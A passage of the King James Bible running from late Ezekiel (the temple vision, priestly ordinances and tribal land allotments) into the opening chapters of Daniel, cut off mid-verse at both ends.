cubits on that +side: and the breadth of the gate was three cubits on this side, and +three cubits on that side. + +40:49 The length of the porch was twenty cubits, and the breadth +eleven cubits, and he brought me by the steps whereby they went up to +it: and there were pillars by the posts, one on this side, and another +on that side. + +41:1 Afterward he brought me to the temple, and measured the posts, +six cubits broad on the one side, and six cubits broad on the other +side, which was the breadth of the tabernacle. + +41:2 And the breadth of the door was ten cubits; and the sides of the +door were five cubits on the one side, and five cubits on the other +side: and he measured the length thereof, forty cubits: and the +breadth, twenty cubits. + +41:3 Then went he inward, and measured the post of the door, two +cubits; and the door, six cubits; and the breadth of the door, seven +cubits. + +41:4 So he measured the length thereof, twenty cubits; and the +breadth, twenty cubits, before the temple: and he said unto me, This +is the most holy place. + +41:5 After he measured the wall of the house, six cubits; and the +breadth of every side chamber, four cubits, round about the house on +every side. + +41:6 And the side chambers were three, one over another, and thirty in +order; and they entered into the wall which was of the house for the +side chambers round about, that they might have hold, but they had not +hold in the wall of the house. + +41:7 And there was an enlarging, and a winding about still upward to +the side chambers: for the winding about of the house went still +upward round about the house: therefore the breadth of the house was +still upward, and so increased from the lowest chamber to the highest +by the midst. + +41:8 I saw also the height of the house round about: the foundations +of the side chambers were a full reed of six great cubits. + +41:9 The thickness of the wall, which was for the side chamber +without, was five cubits: and that which was left was the place of the +side chambers that were within. + +41:10 And between the chambers was the wideness of twenty cubits round +about the house on every side. + +41:11 And the doors of the side chambers were toward the place that +was left, one door toward the north, and another door toward the +south: and the breadth of the place that was left was five cubits +round about. + +41:12 Now the building that was before the separate place at the end +toward the west was seventy cubits broad; and the wall of the building +was five cubits thick round about, and the length thereof ninety +cubits. + +41:13 So he measured the house, an hundred cubits long; and the +separate place, and the building, with the walls thereof, an hundred +cubits long; 41:14 Also the breadth of the face of the house, and of +the separate place toward the east, an hundred cubits. + +41:15 And he measured the length of the building over against the +separate place which was behind it, and the galleries thereof on the +one side and on the other side, an hundred cubits, with the inner +temple, and the porches of the court; 41:16 The door posts, and the +narrow windows, and the galleries round about on their three stories, +over against the door, cieled with wood round about, and from the +ground up to the windows, and the windows were covered; 41:17 To that +above the door, even unto the inner house, and without, and by all the +wall round about within and without, by measure. + +41:18 And it was made with cherubims and palm trees, so that a palm +tree was between a cherub and a cherub; and every cherub had two +faces; 41:19 So that the face of a man was toward the palm tree on the +one side, and the face of a young lion toward the palm tree on the +other side: it was made through all the house round about. + +41:20 From the ground unto above the door were cherubims and palm +trees made, and on the wall of the temple. + +41:21 The posts of the temple were squared, and the face of the +sanctuary; the appearance of the one as the appearance of the other. + +41:22 The altar of wood was three cubits high, and the length thereof +two cubits; and the corners thereof, and the length thereof, and the +walls thereof, were of wood: and he said unto me, This is the table +that is before the LORD. + +41:23 And the temple and the sanctuary had two doors. + +41:24 And the doors had two leaves apiece, two turning leaves; two +leaves for the one door, and two leaves for the other door. + +41:25 And there were made on them, on the doors of the temple, +cherubims and palm trees, like as were made upon the walls; and there +were thick planks upon the face of the porch without. + +41:26 And there were narrow windows and palm trees on the one side and +on the other side, on the sides of the porch, and upon the side +chambers of the house, and thick planks. + +42:1 Then he brought me forth into the utter court, the way toward the +north: and he brought me into the chamber that was over against the +separate place, and which was before the building toward the north. + +42:2 Before the length of an hundred cubits was the north door, and +the breadth was fifty cubits. + +42:3 Over against the twenty cubits which were for the inner court, +and over against the pavement which was for the utter court, was +gallery against gallery in three stories. + +42:4 And before the chambers was a walk to ten cubits breadth inward, +a way of one cubit; and their doors toward the north. + +42:5 Now the upper chambers were shorter: for the galleries were +higher than these, than the lower, and than the middlemost of the +building. + +42:6 For they were in three stories, but had not pillars as the +pillars of the courts: therefore the building was straitened more than +the lowest and the middlemost from the ground. + +42:7 And the wall that was without over against the chambers, toward +the utter court on the forepart of the chambers, the length thereof +was fifty cubits. + +42:8 For the length of the chambers that were in the utter court was +fifty cubits: and, lo, before the temple were an hundred cubits. + +42:9 And from under these chambers was the entry on the east side, as +one goeth into them from the utter court. + +42:10 The chambers were in the thickness of the wall of the court +toward the east, over against the separate place, and over against the +building. + +42:11 And the way before them was like the appearance of the chambers +which were toward the north, as long as they, and as broad as they: +and all their goings out were both according to their fashions, and +according to their doors. + +42:12 And according to the doors of the chambers that were toward the +south was a door in the head of the way, even the way directly before +the wall toward the east, as one entereth into them. + +42:13 Then said he unto me, The north chambers and the south chambers, +which are before the separate place, they be holy chambers, where the +priests that approach unto the LORD shall eat the most holy things: +there shall they lay the most holy things, and the meat offering, and +the sin offering, and the trespass offering; for the place is holy. + +42:14 When the priests enter therein, then shall they not go out of +the holy place into the utter court, but there they shall lay their +garments wherein they minister; for they are holy; and shall put on +other garments, and shall approach to those things which are for the +people. + +42:15 Now when he had made an end of measuring the inner house, he +brought me forth toward the gate whose prospect is toward the east, +and measured it round about. + +42:16 He measured the east side with the measuring reed, five hundred +reeds, with the measuring reed round about. + +42:17 He measured the north side, five hundred reeds, with the +measuring reed round about. + +42:18 He measured the south side, five hundred reeds, with the +measuring reed. + +42:19 He turned about to the west side, and measured five hundred +reeds with the measuring reed. + +42:20 He measured it by the four sides: it had a wall round about, +five hundred reeds long, and five hundred broad, to make a separation +between the sanctuary and the profane place. + +43:1 Afterward he brought me to the gate, even the gate that looketh +toward the east: 43:2 And, behold, the glory of the God of Israel came +from the way of the east: and his voice was like a noise of many +waters: and the earth shined with his glory. + +43:3 And it was according to the appearance of the vision which I saw, +even according to the vision that I saw when I came to destroy the +city: and the visions were like the vision that I saw by the river +Chebar; and I fell upon my face. + +43:4 And the glory of the LORD came into the house by the way of the +gate whose prospect is toward the east. + +43:5 So the spirit took me up, and brought me into the inner court; +and, behold, the glory of the LORD filled the house. + +43:6 And I heard him speaking unto me out of the house; and the man +stood by me. + +43:7 And he said unto me, Son of man, the place of my throne, and the +place of the soles of my feet, where I will dwell in the midst of the +children of Israel for ever, and my holy name, shall the house of +Israel no more defile, neither they, nor their kings, by their +whoredom, nor by the carcases of their kings in their high places. + +43:8 In their setting of their threshold by my thresholds, and their +post by my posts, and the wall between me and them, they have even +defiled my holy name by their abominations that they have committed: +wherefore I have consumed them in mine anger. + +43:9 Now let them put away their whoredom, and the carcases of their +kings, far from me, and I will dwell in the midst of them for ever. + +43:10 Thou son of man, shew the house to the house of Israel, that +they may be ashamed of their iniquities: and let them measure the +pattern. + +43:11 And if they be ashamed of all that they have done, shew them the +form of the house, and the fashion thereof, and the goings out +thereof, and the comings in thereof, and all the forms thereof, and +all the ordinances thereof, and all the forms thereof, and all the +laws thereof: and write it in their sight, that they may keep the +whole form thereof, and all the ordinances thereof, and do them. + +43:12 This is the law of the house; Upon the top of the mountain the +whole limit thereof round about shall be most holy. Behold, this is +the law of the house. + +43:13 And these are the measures of the altar after the cubits: The +cubit is a cubit and an hand breadth; even the bottom shall be a +cubit, and the breadth a cubit, and the border thereof by the edge +thereof round about shall be a span: and this shall be the higher +place of the altar. + +43:14 And from the bottom upon the ground even to the lower settle +shall be two cubits, and the breadth one cubit; and from the lesser +settle even to the greater settle shall be four cubits, and the +breadth one cubit. + +43:15 So the altar shall be four cubits; and from the altar and upward +shall be four horns. + +43:16 And the altar shall be twelve cubits long, twelve broad, square +in the four squares thereof. + +43:17 And the settle shall be fourteen cubits long and fourteen broad +in the four squares thereof; and the border about it shall be half a +cubit; and the bottom thereof shall be a cubit about; and his stairs +shall look toward the east. + +43:18 And he said unto me, Son of man, thus saith the Lord GOD; These +are the ordinances of the altar in the day when they shall make it, to +offer burnt offerings thereon, and to sprinkle blood thereon. + +43:19 And thou shalt give to the priests the Levites that be of the +seed of Zadok, which approach unto me, to minister unto me, saith the +Lord GOD, a young bullock for a sin offering. + +43:20 And thou shalt take of the blood thereof, and put it on the four +horns of it, and on the four corners of the settle, and upon the +border round about: thus shalt thou cleanse and purge it. + +43:21 Thou shalt take the bullock also of the sin offering, and he +shall burn it in the appointed place of the house, without the +sanctuary. + +43:22 And on the second day thou shalt offer a kid of the goats +without blemish for a sin offering; and they shall cleanse the altar, +as they did cleanse it with the bullock. + +43:23 When thou hast made an end of cleansing it, thou shalt offer a +young bullock without blemish, and a ram out of the flock without +blemish. + +43:24 And thou shalt offer them before the LORD, and the priests shall +cast salt upon them, and they shall offer them up for a burnt offering +unto the LORD. + +43:25 Seven days shalt thou prepare every day a goat for a sin +offering: they shall also prepare a young bullock, and a ram out of +the flock, without blemish. + +43:26 Seven days shall they purge the altar and purify it; and they +shall consecrate themselves. + +43:27 And when these days are expired, it shall be, that upon the +eighth day, and so forward, the priests shall make your burnt +offerings upon the altar, and your peace offerings; and I will accept +you, saith the Lord GOD. + +44:1 Then he brought me back the way of the gate of the outward +sanctuary which looketh toward the east; and it was shut. + +44:2 Then said the LORD unto me; This gate shall be shut, it shall not +be opened, and no man shall enter in by it; because the LORD, the God +of Israel, hath entered in by it, therefore it shall be shut. + +44:3 It is for the prince; the prince, he shall sit in it to eat bread +before the LORD; he shall enter by the way of the porch of that gate, +and shall go out by the way of the same. + +44:4 Then brought he me the way of the north gate before the house: +and I looked, and, behold, the glory of the LORD filled the house of +the LORD: and I fell upon my face. + +44:5 And the LORD said unto me, Son of man, mark well, and behold with +thine eyes, and hear with thine ears all that I say unto thee +concerning all the ordinances of the house of the LORD, and all the +laws thereof; and mark well the entering in of the house, with every +going forth of the sanctuary. + +44:6 And thou shalt say to the rebellious, even to the house of +Israel, Thus saith the Lord GOD; O ye house of Israel, let it suffice +you of all your abominations, 44:7 In that ye have brought into my +sanctuary strangers, uncircumcised in heart, and uncircumcised in +flesh, to be in my sanctuary, to pollute it, even my house, when ye +offer my bread, the fat and the blood, and they have broken my +covenant because of all your abominations. + +44:8 And ye have not kept the charge of mine holy things: but ye have +set keepers of my charge in my sanctuary for yourselves. + +44:9 Thus saith the Lord GOD; No stranger, uncircumcised in heart, nor +uncircumcised in flesh, shall enter into my sanctuary, of any stranger +that is among the children of Israel. + +44:10 And the Levites that are gone away far from me, when Israel went +astray, which went astray away from me after their idols; they shall +even bear their iniquity. + +44:11 Yet they shall be ministers in my sanctuary, having charge at +the gates of the house, and ministering to the house: they shall slay +the burnt offering and the sacrifice for the people, and they shall +stand before them to minister unto them. + +44:12 Because they ministered unto them before their idols, and caused +the house of Israel to fall into iniquity; therefore have I lifted up +mine hand against them, saith the Lord GOD, and they shall bear their +iniquity. + +44:13 And they shall not come near unto me, to do the office of a +priest unto me, nor to come near to any of my holy things, in the most +holy place: but they shall bear their shame, and their abominations +which they have committed. + +44:14 But I will make them keepers of the charge of the house, for all +the service thereof, and for all that shall be done therein. + +44:15 But the priests the Levites, the sons of Zadok, that kept the +charge of my sanctuary when the children of Israel went astray from +me, they shall come near to me to minister unto me, and they shall +stand before me to offer unto me the fat and the blood, saith the Lord +GOD: 44:16 They shall enter into my sanctuary, and they shall come +near to my table, to minister unto me, and they shall keep my charge. + +44:17 And it shall come to pass, that when they enter in at the gates +of the inner court, they shall be clothed with linen garments; and no +wool shall come upon them, whiles they minister in the gates of the +inner court, and within. + +44:18 They shall have linen bonnets upon their heads, and shall have +linen breeches upon their loins; they shall not gird themselves with +any thing that causeth sweat. + +44:19 And when they go forth into the utter court, even into the utter +court to the people, they shall put off their garments wherein they +ministered, and lay them in the holy chambers, and they shall put on +other garments; and they shall not sanctify the people with their +garments. + +44:20 Neither shall they shave their heads, nor suffer their locks to +grow long; they shall only poll their heads. + +44:21 Neither shall any priest drink wine, when they enter into the +inner court. + +44:22 Neither shall they take for their wives a widow, nor her that is +put away: but they shall take maidens of the seed of the house of +Israel, or a widow that had a priest before. + +44:23 And they shall teach my people the difference between the holy +and profane, and cause them to discern between the unclean and the +clean. + +44:24 And in controversy they shall stand in judgment; and they shall +judge it according to my judgments: and they shall keep my laws and my +statutes in all mine assemblies; and they shall hallow my sabbaths. + +44:25 And they shall come at no dead person to defile themselves: but +for father, or for mother, or for son, or for daughter, for brother, +or for sister that hath had no husband, they may defile themselves. + +44:26 And after he is cleansed, they shall reckon unto him seven days. + +44:27 And in the day that he goeth into the sanctuary, unto the inner +court, to minister in the sanctuary, he shall offer his sin offering, +saith the Lord GOD. + +44:28 And it shall be unto them for an inheritance: I am their +inheritance: and ye shall give them no possession in Israel: I am +their possession. + +44:29 They shall eat the meat offering, and the sin offering, and the +trespass offering: and every dedicated thing in Israel shall be +theirs. + +44:30 And the first of all the firstfruits of all things, and every +oblation of all, of every sort of your oblations, shall be the +priest's: ye shall also give unto the priest the first of your dough, +that he may cause the blessing to rest in thine house. + +44:31 The priests shall not eat of any thing that is dead of itself, +or torn, whether it be fowl or beast. + +45:1 Moreover, when ye shall divide by lot the land for inheritance, +ye shall offer an oblation unto the LORD, an holy portion of the land: +the length shall be the length of five and twenty thousand reeds, and +the breadth shall be ten thousand. This shall be holy in all the +borders thereof round about. + +45:2 Of this there shall be for the sanctuary five hundred in length, +with five hundred in breadth, square round about; and fifty cubits +round about for the suburbs thereof. + +45:3 And of this measure shalt thou measure the length of five and +twenty thousand, and the breadth of ten thousand: and in it shall be +the sanctuary and the most holy place. + +45:4 The holy portion of the land shall be for the priests the +ministers of the sanctuary, which shall come near to minister unto the +LORD: and it shall be a place for their houses, and an holy place for +the sanctuary. + +45:5 And the five and twenty thousand of length, and the ten thousand +of breadth shall also the Levites, the ministers of the house, have +for themselves, for a possession for twenty chambers. + +45:6 And ye shall appoint the possession of the city five thousand +broad, and five and twenty thousand long, over against the oblation of +the holy portion: it shall be for the whole house of Israel. + +45:7 And a portion shall be for the prince on the one side and on the +other side of the oblation of the holy portion, and of the possession +of the city, before the oblation of the holy portion, and before the +possession of the city, from the west side westward, and from the east +side eastward: and the length shall be over against one of the +portions, from the west border unto the east border. + +45:8 In the land shall be his possession in Israel: and my princes +shall no more oppress my people; and the rest of the land shall they +give to the house of Israel according to their tribes. + +45:9 Thus saith the Lord GOD; Let it suffice you, O princes of Israel: +remove violence and spoil, and execute judgment and justice, take away +your exactions from my people, saith the Lord GOD. + +45:10 Ye shall have just balances, and a just ephah, and a just bath. + +45:11 The ephah and the bath shall be of one measure, that the bath +may contain the tenth part of an homer, and the ephah the tenth part +of an homer: the measure thereof shall be after the homer. + +45:12 And the shekel shall be twenty gerahs: twenty shekels, five and +twenty shekels, fifteen shekels, shall be your maneh. + +45:13 This is the oblation that ye shall offer; the sixth part of an +ephah of an homer of wheat, and ye shall give the sixth part of an +ephah of an homer of barley: 45:14 Concerning the ordinance of oil, +the bath of oil, ye shall offer the tenth part of a bath out of the +cor, which is an homer of ten baths; for ten baths are an homer: 45:15 +And one lamb out of the flock, out of two hundred, out of the fat +pastures of Israel; for a meat offering, and for a burnt offering, and +for peace offerings, to make reconciliation for them, saith the Lord +GOD. + +45:16 All the people of the land shall give this oblation for the +prince in Israel. + +45:17 And it shall be the prince's part to give burnt offerings, and +meat offerings, and drink offerings, in the feasts, and in the new +moons, and in the sabbaths, in all solemnities of the house of Israel: +he shall prepare the sin offering, and the meat offering, and the +burnt offering, and the peace offerings, to make reconciliation for +the house of Israel. + +45:18 Thus saith the Lord GOD; In the first month, in the first day of +the month, thou shalt take a young bullock without blemish, and +cleanse the sanctuary: 45:19 And the priest shall take of the blood of +the sin offering, and put it upon the posts of the house, and upon the +four corners of the settle of the altar, and upon the posts of the +gate of the inner court. + +45:20 And so thou shalt do the seventh day of the month for every one +that erreth, and for him that is simple: so shall ye reconcile the +house. + +45:21 In the first month, in the fourteenth day of the month, ye shall +have the passover, a feast of seven days; unleavened bread shall be +eaten. + +45:22 And upon that day shall the prince prepare for himself and for +all the people of the land a bullock for a sin offering. + +45:23 And seven days of the feast he shall prepare a burnt offering to +the LORD, seven bullocks and seven rams without blemish daily the +seven days; and a kid of the goats daily for a sin offering. + +45:24 And he shall prepare a meat offering of an ephah for a bullock, +and an ephah for a ram, and an hin of oil for an ephah. + +45:25 In the seventh month, in the fifteenth day of the month, shall +he do the like in the feast of the seven days, according to the sin +offering, according to the burnt offering, and according to the meat +offering, and according to the oil. + +46:1 Thus saith the Lord GOD; The gate of the inner court that looketh +toward the east shall be shut the six working days; but on the sabbath +it shall be opened, and in the day of the new moon it shall be opened. + +46:2 And the prince shall enter by the way of the porch of that gate +without, and shall stand by the post of the gate, and the priests +shall prepare his burnt offering and his peace offerings, and he shall +worship at the threshold of the gate: then he shall go forth; but the +gate shall not be shut until the evening. + +46:3 Likewise the people of the land shall worship at the door of this +gate before the LORD in the sabbaths and in the new moons. + +46:4 And the burnt offering that the prince shall offer unto the LORD +in the sabbath day shall be six lambs without blemish, and a ram +without blemish. + +46:5 And the meat offering shall be an ephah for a ram, and the meat +offering for the lambs as he shall be able to give, and an hin of oil +to an ephah. + +46:6 And in the day of the new moon it shall be a young bullock +without blemish, and six lambs, and a ram: they shall be without +blemish. + +46:7 And he shall prepare a meat offering, an ephah for a bullock, and +an ephah for a ram, and for the lambs according as his hand shall +attain unto, and an hin of oil to an ephah. + +46:8 And when the prince shall enter, he shall go in by the way of the +porch of that gate, and he shall go forth by the way thereof. + +46:9 But when the people of the land shall come before the LORD in the +solemn feasts, he that entereth in by the way of the north gate to +worship shall go out by the way of the south gate; and he that +entereth by the way of the south gate shall go forth by the way of the +north gate: he shall not return by the way of the gate whereby he came +in, but shall go forth over against it. + +46:10 And the prince in the midst of them, when they go in, shall go +in; and when they go forth, shall go forth. + +46:11 And in the feasts and in the solemnities the meat offering shall +be an ephah to a bullock, and an ephah to a ram, and to the lambs as +he is able to give, and an hin of oil to an ephah. + +46:12 Now when the prince shall prepare a voluntary burnt offering or +peace offerings voluntarily unto the LORD, one shall then open him the +gate that looketh toward the east, and he shall prepare his burnt +offering and his peace offerings, as he did on the sabbath day: then +he shall go forth; and after his going forth one shall shut the gate. + +46:13 Thou shalt daily prepare a burnt offering unto the LORD of a +lamb of the first year without blemish: thou shalt prepare it every +morning. + +46:14 And thou shalt prepare a meat offering for it every morning, the +sixth part of an ephah, and the third part of an hin of oil, to temper +with the fine flour; a meat offering continually by a perpetual +ordinance unto the LORD. + +46:15 Thus shall they prepare the lamb, and the meat offering, and the +oil, every morning for a continual burnt offering. + +46:16 Thus saith the Lord GOD; If the prince give a gift unto any of +his sons, the inheritance thereof shall be his sons'; it shall be +their possession by inheritance. + +46:17 But if he give a gift of his inheritance to one of his servants, +then it shall be his to the year of liberty; after it shall return to +the prince: but his inheritance shall be his sons' for them. + +46:18 Moreover the prince shall not take of the people's inheritance +by oppression, to thrust them out of their possession; but he shall +give his sons inheritance out of his own possession: that my people be +not scattered every man from his possession. + +46:19 After he brought me through the entry, which was at the side of +the gate, into the holy chambers of the priests, which looked toward +the north: and, behold, there was a place on the two sides westward. + +46:20 Then said he unto me, This is the place where the priests shall +boil the trespass offering and the sin offering, where they shall bake +the meat offering; that they bear them not out into the utter court, +to sanctify the people. + +46:21 Then he brought me forth into the utter court, and caused me to +pass by the four corners of the court; and, behold, in every corner of +the court there was a court. + +46:22 In the four corners of the court there were courts joined of +forty cubits long and thirty broad: these four corners were of one +measure. + +46:23 And there was a row of building round about in them, round about +them four, and it was made with boiling places under the rows round +about. + +46:24 Then said he unto me, These are the places of them that boil, +where the ministers of the house shall boil the sacrifice of the +people. + +47:1 Afterward he brought me again unto the door of the house; and, +behold, waters issued out from under the threshold of the house +eastward: for the forefront of the house stood toward the east, and +the waters came down from under from the right side of the house, at +the south side of the altar. + +47:2 Then brought he me out of the way of the gate northward, and led +me about the way without unto the utter gate by the way that looketh +eastward; and, behold, there ran out waters on the right side. + +47:3 And when the man that had the line in his hand went forth +eastward, he measured a thousand cubits, and he brought me through the +waters; the waters were to the ankles. + +47:4 Again he measured a thousand, and brought me through the waters; +the waters were to the knees. Again he measured a thousand, and +brought me through; the waters were to the loins. + +47:5 Afterward he measured a thousand; and it was a river that I could +not pass over: for the waters were risen, waters to swim in, a river +that could not be passed over. + +47:6 And he said unto me, Son of man, hast thou seen this? Then he +brought me, and caused me to return to the brink of the river. + +47:7 Now when I had returned, behold, at the bank of the river were +very many trees on the one side and on the other. + +47:8 Then said he unto me, These waters issue out toward the east +country, and go down into the desert, and go into the sea: which being +brought forth into the sea, the waters shall be healed. + +47:9 And it shall come to pass, that every thing that liveth, which +moveth, whithersoever the rivers shall come, shall live: and there +shall be a very great multitude of fish, because these waters shall +come thither: for they shall be healed; and every thing shall live +whither the river cometh. + +47:10 And it shall come to pass, that the fishers shall stand upon it +from Engedi even unto Eneglaim; they shall be a place to spread forth +nets; their fish shall be according to their kinds, as the fish of the +great sea, exceeding many. + +47:11 But the miry places thereof and the marishes thereof shall not +be healed; they shall be given to salt. + +47:12 And by the river upon the bank thereof, on this side and on that +side, shall grow all trees for meat, whose leaf shall not fade, +neither shall the fruit thereof be consumed: it shall bring forth new +fruit according to his months, because their waters they issued out of +the sanctuary: and the fruit thereof shall be for meat, and the leaf +thereof for medicine. + +47:13 Thus saith the Lord GOD; This shall be the border, whereby ye +shall inherit the land according to the twelve tribes of Israel: +Joseph shall have two portions. + +47:14 And ye shall inherit it, one as well as another: concerning the +which I lifted up mine hand to give it unto your fathers: and this +land shall fall unto you for inheritance. + +47:15 And this shall be the border of the land toward the north side, +from the great sea, the way of Hethlon, as men go to Zedad; 47:16 +Hamath, Berothah, Sibraim, which is between the border of Damascus and +the border of Hamath; Hazarhatticon, which is by the coast of Hauran. + +47:17 And the border from the sea shall be Hazarenan, the border of +Damascus, and the north northward, and the border of Hamath. And this +is the north side. + +47:18 And the east side ye shall measure from Hauran, and from +Damascus, and from Gilead, and from the land of Israel by Jordan, from +the border unto the east sea. And this is the east side. + +47:19 And the south side southward, from Tamar even to the waters of +strife in Kadesh, the river to the great sea. And this is the south +side southward. + +47:20 The west side also shall be the great sea from the border, till +a man come over against Hamath. This is the west side. + +47:21 So shall ye divide this land unto you according to the tribes of +Israel. + +47:22 And it shall come to pass, that ye shall divide it by lot for an +inheritance unto you, and to the strangers that sojourn among you, +which shall beget children among you: and they shall be unto you as +born in the country among the children of Israel; they shall have +inheritance with you among the tribes of Israel. + +47:23 And it shall come to pass, that in what tribe the stranger +sojourneth, there shall ye give him his inheritance, saith the Lord +GOD. + +48:1 Now these are the names of the tribes. From the north end to the +coast of the way of Hethlon, as one goeth to Hamath, Hazarenan, the +border of Damascus northward, to the coast of Hamath; for these are +his sides east and west; a portion for Dan. + +48:2 And by the border of Dan, from the east side unto the west side, +a portion for Asher. + +48:3 And by the border of Asher, from the east side even unto the west +side, a portion for Naphtali. + +48:4 And by the border of Naphtali, from the east side unto the west +side, a portion for Manasseh. + +48:5 And by the border of Manasseh, from the east side unto the west +side, a portion for Ephraim. + +48:6 And by the border of Ephraim, from the east side even unto the +west side, a portion for Reuben. + +48:7 And by the border of Reuben, from the east side unto the west +side, a portion for Judah. + +48:8 And by the border of Judah, from the east side unto the west +side, shall be the offering which ye shall offer of five and twenty +thousand reeds in breadth, and in length as one of the other parts, +from the east side unto the west side: and the sanctuary shall be in +the midst of it. + +48:9 The oblation that ye shall offer unto the LORD shall be of five +and twenty thousand in length, and of ten thousand in breadth. + +48:10 And for them, even for the priests, shall be this holy oblation; +toward the north five and twenty thousand in length, and toward the +west ten thousand in breadth, and toward the east ten thousand in +breadth, and toward the south five and twenty thousand in length: and +the sanctuary of the LORD shall be in the midst thereof. + +48:11 It shall be for the priests that are sanctified of the sons of +Zadok; which have kept my charge, which went not astray when the +children of Israel went astray, as the Levites went astray. + +48:12 And this oblation of the land that is offered shall be unto them +a thing most holy by the border of the Levites. + +48:13 And over against the border of the priests the Levites shall +have five and twenty thousand in length, and ten thousand in breadth: +all the length shall be five and twenty thousand, and the breadth ten +thousand. + +48:14 And they shall not sell of it, neither exchange, nor alienate +the firstfruits of the land: for it is holy unto the LORD. + +48:15 And the five thousand, that are left in the breadth over against +the five and twenty thousand, shall be a profane place for the city, +for dwelling, and for suburbs: and the city shall be in the midst +thereof. + +48:16 And these shall be the measures thereof; the north side four +thousand and five hundred, and the south side four thousand and five +hundred, and on the east side four thousand and five hundred, and the +west side four thousand and five hundred. + +48:17 And the suburbs of the city shall be toward the north two +hundred and fifty, and toward the south two hundred and fifty, and +toward the east two hundred and fifty, and toward the west two hundred +and fifty. + +48:18 And the residue in length over against the oblation of the holy +portion shall be ten thousand eastward, and ten thousand westward: and +it shall be over against the oblation of the holy portion; and the +increase thereof shall be for food unto them that serve the city. + +48:19 And they that serve the city shall serve it out of all the +tribes of Israel. + +48:20 All the oblation shall be five and twenty thousand by five and +twenty thousand: ye shall offer the holy oblation foursquare, with the +possession of the city. + +48:21 And the residue shall be for the prince, on the one side and on +the other of the holy oblation, and of the possession of the city, +over against the five and twenty thousand of the oblation toward the +east border, and westward over against the five and twenty thousand +toward the west border, over against the portions for the prince: and +it shall be the holy oblation; and the sanctuary of the house shall be +in the midst thereof. + +48:22 Moreover from the possession of the Levites, and from the +possession of the city, being in the midst of that which is the +prince's, between the border of Judah and the border of Benjamin, +shall be for the prince. + +48:23 As for the rest of the tribes, from the east side unto the west +side, Benjamin shall have a portion. + +48:24 And by the border of Benjamin, from the east side unto the west +side, Simeon shall have a portion. + +48:25 And by the border of Simeon, from the east side unto the west +side, Issachar a portion. + +48:26 And by the border of Issachar, from the east side unto the west +side, Zebulun a portion. + +48:27 And by the border of Zebulun, from the east side unto the west +side, Gad a portion. + +48:28 And by the border of Gad, at the south side southward, the +border shall be even from Tamar unto the waters of strife in Kadesh, +and to the river toward the great sea. + +48:29 This is the land which ye shall divide by lot unto the tribes of +Israel for inheritance, and these are their portions, saith the Lord +GOD. + +48:30 And these are the goings out of the city on the north side, four +thousand and five hundred measures. + +48:31 And the gates of the city shall be after the names of the tribes +of Israel: three gates northward; one gate of Reuben, one gate of +Judah, one gate of Levi. + +48:32 And at the east side four thousand and five hundred: and three +gates; and one gate of Joseph, one gate of Benjamin, one gate of Dan. + +48:33 And at the south side four thousand and five hundred measures: +and three gates; one gate of Simeon, one gate of Issachar, one gate of +Zebulun. + +48:34 At the west side four thousand and five hundred, with their +three gates; one gate of Gad, one gate of Asher, one gate of Naphtali. + +48:35 It was round about eighteen thousand measures: and the name of +the city from that day shall be, The LORD is there. + + + + +The Book of Daniel + + +1:1 In the third year of the reign of Jehoiakim king of Judah came +Nebuchadnezzar king of Babylon unto Jerusalem, and besieged it. + +1:2 And the Lord gave Jehoiakim king of Judah into his hand, with part +of the vessels of the house of God: which he carried into the land of +Shinar to the house of his god; and he brought the vessels into the +treasure house of his god. + +1:3 And the king spake unto Ashpenaz the master of his eunuchs, that +he should bring certain of the children of Israel, and of the king's +seed, and of the princes; 1:4 Children in whom was no blemish, but +well favoured, and skilful in all wisdom, and cunning in knowledge, +and understanding science, and such as had ability in them to stand in +the king's palace, and whom they might teach the learning and the +tongue of the Chaldeans. + +1:5 And the king appointed them a daily provision of the king's meat, +and of the wine which he drank: so nourishing them three years, that +at the end thereof they might stand before the king. + +1:6 Now among these were of the children of Judah, Daniel, Hananiah, +Mishael, and Azariah: 1:7 Unto whom the prince of the eunuchs gave +names: for he gave unto Daniel the name of Belteshazzar; and to +Hananiah, of Shadrach; and to Mishael, of Meshach; and to Azariah, of +Abednego. + +1:8 But Daniel purposed in his heart that he would not defile himself +with the portion of the king's meat, nor with the wine which he drank: +therefore he requested of the prince of the eunuchs that he might not +defile himself. + +1:9 Now God had brought Daniel into favour and tender love with the +prince of the eunuchs. + +1:10 And the prince of the eunuchs said unto Daniel, I fear my lord +the king, who hath appointed your meat and your drink: for why should +he see your faces worse liking than the children which are of your +sort? then shall ye make me endanger my head to the king. + +1:11 Then said Daniel to Melzar, whom the prince of the eunuchs had +set over Daniel, Hananiah, Mishael, and Azariah, 1:12 Prove thy +servants, I beseech thee, ten days; and let them give us pulse to eat, +and water to drink. + +1:13 Then let our countenances be looked upon before thee, and the +countenance of the children that eat of the portion of the king's +meat: and as thou seest, deal with thy servants. + +1:14 So he consented to them in this matter, and proved them ten days. + +1:15 And at the end of ten days their countenances appeared fairer and +fatter in flesh than all the children which did eat the portion of the +king's meat. + +1:16 Thus Melzar took away the portion of their meat, and the wine +that they should drink; and gave them pulse. + +1:17 As for these four children, God gave them knowledge and skill in +all learning and wisdom: and Daniel had understanding in all visions +and dreams. + +1:18 Now at the end of the days that the king had said he should bring +them in, then the prince of the eunuchs brought them in before +Nebuchadnezzar. + +1:19 And the king communed with them; and among them all was found +none like Daniel, Hananiah, Mishael, and Azariah: therefore stood they +before the king. + +1:20 And in all matters of wisdom and understanding, that the king +enquired of them, he found them ten times better than all the +magicians and astrologers that were in all his realm. + +1:21 And Daniel continued even unto the first year of king Cyrus. + +2:1 And in the second year of the reign of Nebuchadnezzar +Nebuchadnezzar dreamed dreams, wherewith his spirit was troubled, and +his sleep brake from him. + +2:2 Then the king commanded to call the magicians, and the +astrologers, and the sorcerers, and the Chaldeans, for to shew the +king his dreams. So they came and stood before the king. + +2:3 And the king said unto them, I have dreamed a dream, and my spirit +was troubled to know the dream. + +2:4 Then spake the Chaldeans to the king in Syriack, O king, live for +ever: tell thy servants the dream, and we will shew the +interpretation. + +2:5 The king answered and said to the Chaldeans, The thing is gone +from me: if ye will not make known unto me the dream, with the +interpretation thereof, ye shall be cut in pieces, and your houses +shall be made a dunghill. + +2:6 But if ye shew the dream, and the interpretation thereof, ye shall +receive of me gifts and rewards and great honour: therefore shew me +the dream, and the interpretation thereof. + +2:7 They answered again and said, Let the king tell his servants the +dream, and we will shew the interpretation of it. + +2:8 The king answered and said, I know of certainty that ye would gain +the time, because ye see the thing is gone from me. + +2:9 But if ye will not make known unto me the dream, there is but one +decree for you: for ye have prepared lying and corrupt words to speak +before me, till the time be changed: therefore tell me the dream, and +I shall know that ye can shew me the interpretation thereof. + +2:10 The Chaldeans answered before the king, and said, There is not a +man upon the earth that can shew the king's matter: therefore there is +no king, lord, nor ruler, that asked such things at any 